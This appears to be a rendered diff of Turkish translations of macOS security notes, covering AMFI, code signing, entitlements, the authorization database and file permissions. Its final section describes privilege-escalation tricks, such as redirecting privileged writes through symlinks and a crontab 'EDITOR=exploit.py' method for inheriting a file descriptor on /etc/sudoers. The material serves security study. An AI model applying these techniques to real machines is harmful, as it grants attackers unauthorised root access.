Ayrıca, bu bilgileri [**DumpBTM**](https://github.com/objective-see/DumpBTM) ile listelemek de mümkündür. Ayrıca, bu bilgiyi [**DumpBTM**](https://github.com/objective-see/DumpBTM) ile listelemek de mümkündür.
```bash ```bash
# You need to grant the Terminal Full Disk Access for this to work # You need to grant the Terminal Full Disk Access for this to work
chmod +x dumpBTM chmod +x dumpBTM

View File

@ -4,7 +4,7 @@
## AppleMobileFileIntegrity.kext ve amfid ## AppleMobileFileIntegrity.kext ve amfid
Sistemde çalışan kodun bütünlüğünü sağlamak için XNU'nun kod imzası doğrulama mantığını sunar. Ayrıca, yetkilendirmeleri kontrol edebilir ve hata ayıklama veya görev bağlantı noktalarını elde etme gibi diğer hassas görevleri yönetebilir. Sistemde çalışan kodun bütünlüğünü sağlamak için XNU'nun kod imzası doğrulama mantığını sunar. Ayrıca, yetkilendirmeleri kontrol edebilir ve hata ayıklama veya görev portlarını elde etme gibi diğer hassas görevleri yönetebilir.
Ayrıca, bazı işlemler için kext, kullanıcı alanında çalışan daemon `/usr/libexec/amfid` ile iletişim kurmayı tercih eder. Bu güven ilişkisi, birkaç jailbreak'te kötüye kullanılmıştır. Ayrıca, bazı işlemler için kext, kullanıcı alanında çalışan daemon `/usr/libexec/amfid` ile iletişim kurmayı tercih eder. Bu güven ilişkisi, birkaç jailbreak'te kötüye kullanılmıştır.
@ -27,17 +27,17 @@ Kaydettiği bazı MACF politikaları şunlardır:
- **`file_check_library_validation`**: Kütüphane doğrulama fonksiyonunu çağırır; bu, diğer şeylerin yanı sıra, bir platform ikili dosyasının başka bir platform ikili dosyasını yükleyip yüklemediğini veya sürecin ve yeni yüklenen dosyanın aynı TeamID'ye sahip olup olmadığını kontrol eder. Belirli yetkilendirmeler, herhangi bir kütüphaneyi yüklemeye de izin verecektir. - **`file_check_library_validation`**: Kütüphane doğrulama fonksiyonunu çağırır; bu, diğer şeylerin yanı sıra, bir platform ikili dosyasının başka bir platform ikili dosyasını yükleyip yüklemediğini veya sürecin ve yeni yüklenen dosyanın aynı TeamID'ye sahip olup olmadığını kontrol eder. Belirli yetkilendirmeler, herhangi bir kütüphaneyi yüklemeye de izin verecektir.
- **`policy_initbsd`**: Güvenilir NVRAM Anahtarlarını ayarlar - **`policy_initbsd`**: Güvenilir NVRAM Anahtarlarını ayarlar
- **`policy_syscall`**: İkili dosyanın sınırsız segmentlere sahip olup olmadığını, çevresel değişkenlere izin verilip verilmediğini kontrol eder... bu, bir süreç `amfi_check_dyld_policy_self()` ile başlatıldığında da çağrılır. - **`policy_syscall`**: İkili dosyanın sınırsız segmentlere sahip olup olmadığını, çevresel değişkenlere izin verilip verilmediğini kontrol eder... bu, bir süreç `amfi_check_dyld_policy_self()` ile başlatıldığında da çağrılır.
- **`proc_check_inherit_ipc_ports`**: Bir süreç yeni bir ikili dosya çalıştırdığında, diğer süreçlerin sürecin görev bağlantı noktası üzerindeki SEND haklarını koruyup korumayacağını kontrol eder. Platform ikili dosyalarına izin verilir, `get-task-allow` yetkilendirmesi buna izin verir, `task_for_pid-allow` yetkilendirmeleri izinlidir ve aynı TeamID'ye sahip ikili dosyalar. - **`proc_check_inherit_ipc_ports`**: Bir süreç yeni bir ikili dosya çalıştırdığında, diğer süreçlerin sürecin görev portu üzerindeki SEND haklarını koruyup korumayacağını kontrol eder. Platform ikili dosyalarına izin verilir, `get-task-allow` yetkilendirmesi buna izin verir, `task_for_pid-allow` yetkilendirmeleri izinlidir ve aynı TeamID'ye sahip ikili dosyalar.
- **`proc_check_expose_task`**: Yetkilendirmeleri zorlar - **`proc_check_expose_task`**: Yetkilendirmeleri zorlar
- **`amfi_exc_action_check_exception_send`**: Bir istisna mesajı hata ayıklayıcıya gönderilir - **`amfi_exc_action_check_exception_send`**: Bir istisna mesajı hata ayıklayıcıya gönderilir
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: İstisna işleme sırasında etiket yaşam döngüsü (hata ayıklama) - **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: İstisna işleme sırasında etiket yaşam döngüsü (hata ayıklama)
- **`proc_check_get_task`**: `get-task-allow` gibi yetkilendirmeleri kontrol eder; bu, diğer süreçlerin görev bağlantı noktalarını almasına izin verir ve `task_for_pid-allow`, bu da sürecin diğer süreçlerin görev bağlantı noktalarını almasına izin verir. Hiçbiri yoksa, `amfid permitunrestricteddebugging`'i çağırarak izin verilip verilmediğini kontrol eder. - **`proc_check_get_task`**: `get-task-allow` gibi yetkilendirmeleri kontrol eder; bu, diğer süreçlerin görev portlarını almasına izin verir ve `task_for_pid-allow`, bu da sürecin diğer süreçlerin görev portlarını almasına izin verir. Eğer bunlardan hiçbiri yoksa, `amfid permitunrestricteddebugging`'i çağırarak izin verilip verilmediğini kontrol eder.
- **`proc_check_mprotect`**: `mprotect` çağrıldığında `VM_PROT_TRUSTED` bayrağı ile reddeder; bu, bölgenin geçerli bir kod imzası varmış gibi muamele edilmesi gerektiğini gösterir. - **`proc_check_mprotect`**: `mprotect` çağrıldığında `VM_PROT_TRUSTED` bayrağı ile reddeder; bu, bölgenin geçerli bir kod imzasına sahipmiş gibi muamele edilmesi gerektiğini gösterir.
- **`vnode_check_exec`**: Çalıştırılabilir dosyalar belleğe yüklendiğinde çağrılır ve `cs_hard | cs_kill` ayarlarını yapar; bu, sayfalardan herhangi biri geçersiz hale gelirse süreci öldürecektir. - **`vnode_check_exec`**: Çalıştırılabilir dosyalar belleğe yüklendiğinde çağrılır ve `cs_hard | cs_kill` ayarlarını yapar; bu, herhangi bir sayfa geçersiz hale gelirse süreci öldürecektir.
- **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` ve `isVnodeQuarantined()` kontrol eder - **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed` ve `isVnodeQuarantined()` kontrol eder
- **`vnode_check_setextattr`**: Get + com.apple.private.allow-bless ve internal-installer-equivalent yetkilendirmesi - **`vnode_check_setextattr`**: Get + com.apple.private.allow-bless ve internal-installer-equivalent yetkilendirmesi
- &#x20;**`vnode_check_signature`**: Yetkilendirmeleri, güvenilir önbelleği ve `amfid` kullanarak kod imzasını kontrol etmek için XNU'yu çağıran kod - &#x20;**`vnode_check_signature`**: Yetkilendirmeleri, güvenilir önbelleği ve `amfid` kullanarak kod imzasını kontrol etmek için XNU'yu çağıran kod
- &#x20;**`proc_check_run_cs_invalid`**: `ptrace()` çağrılarını (`PT_ATTACH` ve `PT_TRACE_ME`) engeller. `get-task-allow`, `run-invalid-allow` ve `run-unsigned-code` gibi herhangi bir yetkilendirmeyi kontrol eder ve hiçbiri yoksa, hata ayıklamanın izinli olup olmadığını kontrol eder. - &#x20;**`proc_check_run_cs_invalid`**: `ptrace()` çağrılarını (`PT_ATTACH` ve `PT_TRACE_ME`) keser. `get-task-allow`, `run-invalid-allow` ve `run-unsigned-code` gibi herhangi bir yetkilendirmeyi kontrol eder ve eğer hiçbiri yoksa, hata ayıklamanın izinli olup olmadığını kontrol eder.
- **`proc_check_map_anon`**: mmap **`MAP_JIT`** bayrağı ile çağrıldığında, AMFI `dynamic-codesigning` yetkilendirmesini kontrol eder. - **`proc_check_map_anon`**: mmap **`MAP_JIT`** bayrağı ile çağrıldığında, AMFI `dynamic-codesigning` yetkilendirmesini kontrol eder.
`AMFI.kext` ayrıca diğer çekirdek uzantıları için bir API sunar ve bağımlılıklarını bulmak mümkündür: `AMFI.kext` ayrıca diğer çekirdek uzantıları için bir API sunar ve bağımlılıklarını bulmak mümkündür:
@ -68,11 +68,11 @@ No variant specified, falling back to release
Bu, `AMFI.kext`'in kullanıcı modunda kod imzalarını kontrol etmek için kullanacağı kullanıcı modu çalışan daemon'dur.\ Bu, `AMFI.kext`'in kullanıcı modunda kod imzalarını kontrol etmek için kullanacağı kullanıcı modu çalışan daemon'dur.\
`AMFI.kext`'in daemon ile iletişim kurması için `HOST_AMFID_PORT` üzerinden mach mesajları kullanır; bu özel port `18`'dir. `AMFI.kext`'in daemon ile iletişim kurması için `HOST_AMFID_PORT` üzerinden mach mesajları kullanır; bu özel port `18`'dir.
macOS'ta kök süreçlerin özel portları ele geçirmesi artık mümkün değildir çünkü bunlar `SIP` tarafından korunmaktadır ve yalnızca launchd bunlara erişebilir. iOS'ta, yanıtı geri gönderen sürecin `amfid`'nin CDHash'inin hardcoded olduğu kontrol edilir. macOS'ta root süreçlerin özel portları ele geçirmesi artık mümkün değildir çünkü bunlar `SIP` tarafından korunmaktadır ve yalnızca launchd bunlara erişebilir. iOS'ta, yanıtı geri gönderen sürecin `amfid`'nin CDHash'inin hardcoded olduğu kontrol edilir.
`amfid`'in bir ikiliyi kontrol etmesi istendiğinde ve bunun yanıtını görmek mümkündür; bunu hata ayıklayarak ve `mach_msg` içinde bir kesme noktası ayarlayarak yapabilirsiniz. `amfid`'in bir ikiliyi kontrol etmesi istendiğinde ve yanıtı alındığında, bunu hata ayıklayarak ve `mach_msg` içinde bir kesme noktası ayarlayarak görmek mümkündür.
Özel port üzerinden bir mesaj alındığında **MIG**, her işlevi çağırdığı işlevine göndermek için kullanılır. Ana işlevler tersine mühendislik ile çözümlenmiş ve kitapta açıklanmıştır. Özel port üzerinden bir mesaj alındığında **MIG**, her fonksiyonu çağırdığı fonksiyona göndermek için kullanılır. Ana fonksiyonlar tersine mühendislik ile çözüldü ve kitapta açıklandı.
## Provisioning Profiles ## Provisioning Profiles
@ -88,10 +88,10 @@ openssl asn1parse -inform der -in /path/to/profile
security cms -D -i /path/to/profile security cms -D -i /path/to/profile
``` ```
Bu provisioning profilleri bazen sertifikalı olarak adlandırılsa da, bunların bir sertifikadan daha fazlası vardır: Bu provisioning profilleri bazen sertifikalı olarak adlandırılsa da, bunlar bir sertifikadan daha fazlasını içerir:
- **AppIDName:** Uygulama Tanımlayıcısı - **AppIDName:** Uygulama Tanımlayıcısı
- **AppleInternalProfile**: Bunu Apple İç profili olarak belirler - **AppleInternalProfile**: Bunu bir Apple İç profil olarak belirler
- **ApplicationIdentifierPrefix**: AppIDName'e eklenir (TeamIdentifier ile aynı) - **ApplicationIdentifierPrefix**: AppIDName'e eklenir (TeamIdentifier ile aynı)
- **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ` formatında tarih - **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ` formatında tarih
- **DeveloperCertificates**: Base64 verisi olarak kodlanmış (genellikle bir) sertifika dizisi - **DeveloperCertificates**: Base64 verisi olarak kodlanmış (genellikle bir) sertifika dizisi
@ -116,9 +116,9 @@ Bu, `amfid`'in bir şeyin izin verilip verilmeyeceğini sormak için çağırdı
macOS'ta bu `MobileDevice.framework` içinde yer alır. macOS'ta bu `MobileDevice.framework` içinde yer alır.
## AMFI Güven Trust Cache'leri ## AMFI Güven Caches
iOS AMFI, ad-hoc imzalanmış bilinen hash'lerin bir listesini, **Trust Cache** olarak adlandırılan ve kext'in `__TEXT.__const` bölümünde bulunan bir listeyi sürdürmektedir. Çok özel ve hassas işlemlerde, bu Trust Cache'i bir dış dosya ile genişletmek mümkündür. iOS AMFI, ad-hoc imzalanmış bilinen hash'lerin bir listesini, **Güven Cache** olarak adlandırılan ve kext'in `__TEXT.__const` bölümünde bulunan bir listeyi sürdürmektedir. Çok özel ve hassas işlemlerde, bu Güven Cache'i bir dış dosya ile genişletmek mümkündür.
## Referanslar ## Referanslar

View File

@ -8,7 +8,7 @@
Başlangıçta bu veritabanı, `/System/Library/Security/authorization.plist` içeriğinden oluşturulur. Daha sonra bazı hizmetler, bu veritabanına diğer izinleri eklemek veya mevcut verileri değiştirmek için ekleme yapabilir. Başlangıçta bu veritabanı, `/System/Library/Security/authorization.plist` içeriğinden oluşturulur. Daha sonra bazı hizmetler, bu veritabanına diğer izinleri eklemek veya mevcut verileri değiştirmek için ekleme yapabilir.
Kurallar, veritabanının içindeki `rules` tablosunda saklanır ve aşağıdaki sütunları içerir: Kurallar, veritabanındaki `rules` tablosunda saklanır ve aşağıdaki sütunları içerir:
- **id**: Her kural için benzersiz bir tanımlayıcı, otomatik olarak artırılır ve birincil anahtar olarak hizmet eder. - **id**: Her kural için benzersiz bir tanımlayıcı, otomatik olarak artırılır ve birincil anahtar olarak hizmet eder.
- **name**: Yetkilendirme sisteminde kuralı tanımlamak ve referans almak için kullanılan kuralın benzersiz adı. - **name**: Yetkilendirme sisteminde kuralı tanımlamak ve referans almak için kullanılan kuralın benzersiz adı.

View File

@ -4,11 +4,11 @@
## Temel Bilgiler ## Temel Bilgiler
Mach-o ikili dosyaları, ikilinin içindeki imzaların **offset** ve **boyutunu** belirten **`LC_CODE_SIGNATURE`** adlı bir yükleme komutu içerir. Aslında, GUI aracı MachOView kullanarak, ikilinin sonunda bu bilgileri içeren **Kod İmzası** adlı bir bölüm bulmak mümkündür: Mach-o ikili dosyaları, ikili dosya içindeki imzaların **offset** ve **boyutunu** belirten **`LC_CODE_SIGNATURE`** adlı bir yükleme komutu içerir. Aslında, GUI aracı MachOView kullanarak, ikili dosyanın sonunda bu bilgileri içeren **Kod İmzası** adlı bir bölüm bulmak mümkündür:
<figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1) (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Kod İmzasının sihirli başlığı **`0xFADE0CC0`**'dır. Ardından, bunları içeren superBlob'un uzunluğu ve blob sayısı gibi bilgiler vardır.\ Kod İmzasının sihirli başlığı **`0xFADE0CC0`**'dır. Ardından, bunları içeren süperBlob'un uzunluğu ve blob sayısı gibi bilgiler vardır.\
Bu bilgiyi [kaynak kodda burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) bulmak mümkündür: Bu bilgiyi [kaynak kodda burada](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) bulmak mümkündür:
```c ```c
/* /*
@ -105,8 +105,8 @@ Not edin ki, bu yapının farklı versiyonları vardır ve eski olanlar daha az
## Kod İmzalama Sayfaları ## Kod İmzalama Sayfaları
Tam ikili dosyanın hash'lenmesi verimsiz ve hatta yalnızca bellekte kısmen yüklüyse işe yaramaz olur. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\ Tam ikili dosyanın hash'lenmesi verimsiz ve hatta yararsız olurdu, çünkü bu yalnızca bellekte kısmen yüklendiğinde geçerlidir. Bu nedenle, kod imzası aslında her ikili sayfanın ayrı ayrı hash'lenmesiyle oluşturulan bir hash'ler hash'idir.\
Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın nerede sona erdiğini belirtir. Aslında, önceki **Kod Dizini** kodunda **sayfa boyutunun belirtildiğini** görebilirsiniz. Ayrıca, ikilinin boyutu bir sayfa boyutunun katı değilse, **CodeLimit** alanı imzanın sonunun nerede olduğunu belirtir.
```bash ```bash
# Get all hashes of /bin/ps # Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps codesign -d -vvvvvv /bin/ps
@ -148,7 +148,7 @@ Uygulamaların tüm yetkilerin tanımlandığı bir **yetki blob'u** içerebilec
## Özel Slotlar ## Özel Slotlar
MacOS uygulamaları, ikili dosya içinde çalıştırmak için ihtiyaç duydukları her şeye sahip değildir, aynı zamanda **harici kaynaklar** (genellikle uygulamaların **paketinde**) kullanırlar. Bu nedenle, ikili dosya içinde bazı ilginç harici kaynakların değiştirilmediğini kontrol etmek için hash'lerini içeren bazı slotlar bulunmaktadır. MacOS uygulamaları, çalıştırmak için ihtiyaç duydukları her şeyi ikili dosya içinde bulundurmazlar, aynı zamanda **harici kaynaklar** (genellikle uygulamaların **paketinde**) kullanırlar. Bu nedenle, ikili dosya içinde bazı ilginç harici kaynakların hash'lerini içeren slotlar bulunmaktadır.
Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slot sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır: Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slot sayısını belirten bir parametre görmek mümkündür. Özel slot 0 yoktur ve en yaygın olanları (-1'den -6'ya kadar) şunlardır:
@ -162,7 +162,7 @@ Aslında, Kod Dizini yapılarında **`nSpecialSlots`** adında özel slot sayıs
## Kod İmzalama Bayrakları ## Kod İmzalama Bayrakları
Her süreç, çekirdek tarafından başlatılan ve bazıları **kod imzası** ile geçersiz kılınabilen `status` olarak bilinen bir bitmask ile ilişkilidir. Kod imzalamasında dahil edilebilecek bu bayraklar [kodda tanımlanmıştır](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): Her süreç, çekirdek tarafından başlatılan ve bazıları **kod imzası** ile geçersiz kılınabilen `status` adı verilen bir bitmask ile ilişkilidir. Kod imzalamada dahil edilebilecek bu bayraklar [kodda tanımlanmıştır](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
```c ```c
/* code signing attributes of a process */ /* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */ #define CS_VALID 0x00000001 /* dynamically valid */
@ -213,7 +213,7 @@ Not edin ki [**exec_mach_imgact**](https://github.com/apple-oss-distributions/xn
Her uygulama, yürütülebilmesi için **karşılaması gereken** bazı **gereksinimler** saklar. Eğer **uygulama, uygulama tarafından karşılanmayan gereksinimler içeriyorsa**, yürütülmeyecektir (muhtemelen değiştirilmiştir). Her uygulama, yürütülebilmesi için **karşılaması gereken** bazı **gereksinimler** saklar. Eğer **uygulama, uygulama tarafından karşılanmayan gereksinimler içeriyorsa**, yürütülmeyecektir (muhtemelen değiştirilmiştir).
Bir ikili dosyanın gereksinimleri, **özel bir dilbilgisi** kullanır; bu, **ifadelerin** bir akışıdır ve `0xfade0c00` sihirli değeri kullanılarak bloblar olarak kodlanmıştır; **hash'i özel bir kod slotunda** saklanır. Bir ikili dosyanın gereksinimleri, **özel bir dilbilgisi** kullanır; bu, **ifadelerin** bir akışıdır ve `0xfade0c00` sihirli değeri kullanılarak bloblar olarak kodlanır; **hash'i özel bir kod slotunda** saklanır.
Bir ikili dosyanın gereksinimleri, çalıştırılarak görülebilir: Bir ikili dosyanın gereksinimleri, çalıştırılarak görülebilir:
```bash ```bash
@ -226,7 +226,7 @@ Executable=/Applications/Signal.app/Contents/MacOS/Signal
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
``` ```
> [!NOTE] > [!NOTE]
> Bu imzaların sertifika bilgileri, TeamID, kimlikler, yetkilendirmeler ve birçok diğer verileri kontrol edebileceğini unutmayın. > Bu imzaların sertifika bilgileri, TeamID, kimlikler, haklar ve birçok diğer verileri kontrol edebileceğini unutmayın.
Ayrıca, `csreq` aracı kullanarak bazı derlenmiş gereksinimler oluşturmak mümkündür: Ayrıca, `csreq` aracı kullanarak bazı derlenmiş gereksinimler oluşturmak mümkündür:
```bash ```bash
@ -284,11 +284,11 @@ od -A x -t x1 /tmp/output.csreq
## Kod İmzası Uygulaması ## Kod İmzası Uygulaması
**Kernel**, uygulamanın kodunun çalışmasına izin vermeden önce **kod imzasını kontrol eder**. Ayrıca, bellekte yeni kod yazmak ve çalıştırmak için bir yol, `mprotect` çağrıldığında `MAP_JIT` bayrağının kullanılmasıdır. Uygulamanın bunu yapabilmesi için özel bir yetkiye ihtiyacı olduğunu unutmayın. **Kernel**, uygulamanın kodunun çalışmasına izin vermeden önce **kod imzasını kontrol eder**. Ayrıca, bellekte yeni kod yazmak ve çalıştırmak için bir yol, `mprotect` çağrıldığında `MAP_JIT` bayrağının kötüye kullanılmasıdır. Uygulamanın bunu yapabilmesi için özel bir yetkiye ihtiyacı olduğunu unutmayın.
## `cs_blobs` & `cs_blob` ## `cs_blobs` & `cs_blob`
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) yapısı, çalışan sürecin üzerindeki yetki hakkında bilgi içerir. `csb_platform_binary` ayrıca uygulamanın bir platform ikili dosyası olup olmadığını bildirir (bu, OS tarafından güvenlik mekanizmalarını uygulamak için farklı zamanlarda kontrol edilir, örneğin bu süreçlerin görev portlarına SEND haklarını korumak için). [**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) yapısı, çalışan sürecin üzerindeki yetki hakkında bilgi içerir. `csb_platform_binary` ayrıca uygulamanın bir platform ikili olup olmadığını bildirir (bu, OS tarafından güvenlik mekanizmalarını uygulamak için farklı zamanlarda kontrol edilir, örneğin bu süreçlerin görev portlarına SEND haklarını korumak için).
```c ```c
struct cs_blob { struct cs_blob {
struct cs_blob *csb_next; struct cs_blob *csb_next;

View File

@ -54,7 +54,7 @@ Bir **çekirdek uzantısını** yüklemek için çekirdekten talepte bulunmak i
### **`com.apple.private.icloud-account-access`** ### **`com.apple.private.icloud-account-access`**
Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu da **iCloud token'ları** sağlar. Yetki **`com.apple.private.icloud-account-access`**, **`com.apple.iCloudHelper`** XPC servisi ile iletişim kurmayı sağlar ve bu, **iCloud token'ları** sağlar.
**iMovie** ve **Garageband** bu yetkiye sahipti. **iMovie** ve **Garageband** bu yetkiye sahipti.
@ -113,7 +113,7 @@ Uygulama paketinin içindeki dosyaları (app.app içinde) değiştirmeye izin ve
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
Bu erişime sahip olanları kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._ Bu erişime sahip olanları kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_.
### `kTCCServiceAccessibility` ### `kTCCServiceAccessibility`
@ -127,10 +127,10 @@ Bu yetki, `mmap()` sistem fonksiyonuna `MAP_JIT` bayrağını geçirerek **yazı
### `com.apple.security.cs.allow-unsigned-executable-memory` ### `com.apple.security.cs.allow-unsigned-executable-memory`
Bu yetki, **C kodunu geçersiz kılmaya veya yamanmaya** izin verir, uzun zamandır kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). Bu yetki, **C kodunu geçersiz kılmaya veya yamanmaya** izin verir, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION] > [!CAUTION]
> Bu yetkiyi dahil etmek, uygulamanızı bellek güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice değerlendirin. > Bu yetkiyi dahil etmek, uygulamanızı bellek güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyacı olup olmadığını dikkatlice değerlendirin.
### `com.apple.security.cs.disable-executable-page-protection` ### `com.apple.security.cs.disable-executable-page-protection`

View File

@ -7,8 +7,8 @@
Bir **dizindeki** izinler: Bir **dizindeki** izinler:
- **okuma** - dizin girişlerini **sıralayabilirsiniz** - **okuma** - dizin girişlerini **sıralayabilirsiniz**
- **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri silebilirsiniz**. - **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri** silebilirsiniz.
- Ancak **boş olmayan klasörleri silemez/değiştiremezsiniz** eğer üzerinde yazma izniniz yoksa. - Ancak **boş olmayan klasörleri** silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa.
- Bir klasörün adını **değiştiremezsiniz** eğer ona sahip değilseniz. - Bir klasörün adını **değiştiremezsiniz** eğer ona sahip değilseniz.
- **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz. - **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.
@ -24,7 +24,7 @@ Bir **dizindeki** izinler:
### Klasör root R+X Özel durumu ### Klasör root R+X Özel durumu
Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizinde** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir dosyayı bu klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir. Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
Örnek: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) Örnek: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
@ -32,7 +32,7 @@ Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizinde** dosyala
### İzinli dosya/klasör ### İzinli dosya/klasör
Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** bir **dosyaya** veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu **başka bir dosyaya** **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır. Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir **dosyaya** veri yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu başka bir dosyaya **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini** kontrol edin. Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini** kontrol edin.
@ -62,7 +62,7 @@ Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl k
Eğer `open` çağrısında `O_CLOEXEC` bayrağı yoksa, dosya tanımlayıcısı çocuk süreç tarafından miras alınacaktır. Yani, eğer ayrıcalıklı bir süreç ayrıcalıklı bir dosyayı açar ve saldırgan tarafından kontrol edilen bir süreci çalıştırırsa, saldırgan **ayrıcalıklı dosya üzerindeki FD'yi miras alacaktır**. Eğer `open` çağrısında `O_CLOEXEC` bayrağı yoksa, dosya tanımlayıcısı çocuk süreç tarafından miras alınacaktır. Yani, eğer ayrıcalıklı bir süreç ayrıcalıklı bir dosyayı açar ve saldırgan tarafından kontrol edilen bir süreci çalıştırırsa, saldırgan **ayrıcalıklı dosya üzerindeki FD'yi miras alacaktır**.
Eğer bir **sürecin yüksek ayrıcalıklarla bir dosya veya klasör açmasını sağlayabilirseniz**, **`crontab`**'i kullanarak `/etc/sudoers.d` içinde **`EDITOR=exploit.py`** ile bir dosya açmak için kötüye kullanabilirsiniz, böylece `exploit.py`, `/etc/sudoers` içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır. Eğer bir **sürecin yüksek ayrıcalıklarla bir dosya veya klasör açmasını sağlayabilirseniz**, **`crontab`**'ı kullanarak `/etc/sudoers.d` içinde **`EDITOR=exploit.py`** ile bir dosya açmak için kötüye kullanabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
